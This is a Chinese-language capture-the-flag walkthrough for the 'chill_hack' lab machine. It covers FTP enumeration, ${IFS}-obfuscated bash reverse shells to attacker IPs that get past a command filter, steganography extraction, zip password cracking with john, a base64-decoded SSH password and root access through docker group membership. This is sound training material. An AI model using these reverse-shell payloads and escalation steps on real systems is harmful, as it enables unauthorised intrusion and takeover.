chill_hack靶机攻略
chill_hack靶机攻略
扫描
渗透
ftp开放，提示ftp连接
连接过后发现一个文本文件
下载下来
ftp 10.4.7.155
ftp
ftp
dir
get note.txt
查看内容
此处可以知道两个用户名，并且提示命令被过滤
bash${IFS}-c${IFS}'bash${IFS}-i${IFS}>&${IFS}/dev/tcp/10.4.7.132/8888 0>&1'
bash${IFS}-c${IFS}'bash${IFS}-i${IFS}>&${IFS}/dev/tcp/10.4.7.138/12138 0>&1'
提权
使用sudo -l
发现可以以appar身份执行.sh文件
看代码感觉没什么用
在/var/www/files中发现hacker.php
查看源码
两行提示可能有图片隐写
靶机开启pythonweb服务
使用工具
steghide extract -sf hacker-with-laptop_23-2147985341.jpg
发现有个压缩包，但是解压需要密码
zip2john backup.zip > backup.john
# 将名为 backup.zip 的 ZIP 文件的密码哈希提取出来，并将结果保存到名为 backup.john 的文件中
john --wordlist=/usr/share/wordlists/rockyou.txt backup.john
pass1word
查看一下解压出来的东西
发现密文
IWQwbnRLbjB3bVlwQHNzdzByZA==
#base64解码
!d0ntKn0wmYp@ssw0rd
家目录下可以看到有三个用户，挨个尝试ssh登录，发现只有anurodh可以登录
anurodh:!d0ntKn0wmYp@ssw0rd
id发现该用户在docker组内
怀疑在docker里
查看该文件，确认一下是不是在docker里
发现就是在docker里
查看docker镜像
docker images
提权
docker run -it -v /root:/mnt alpine
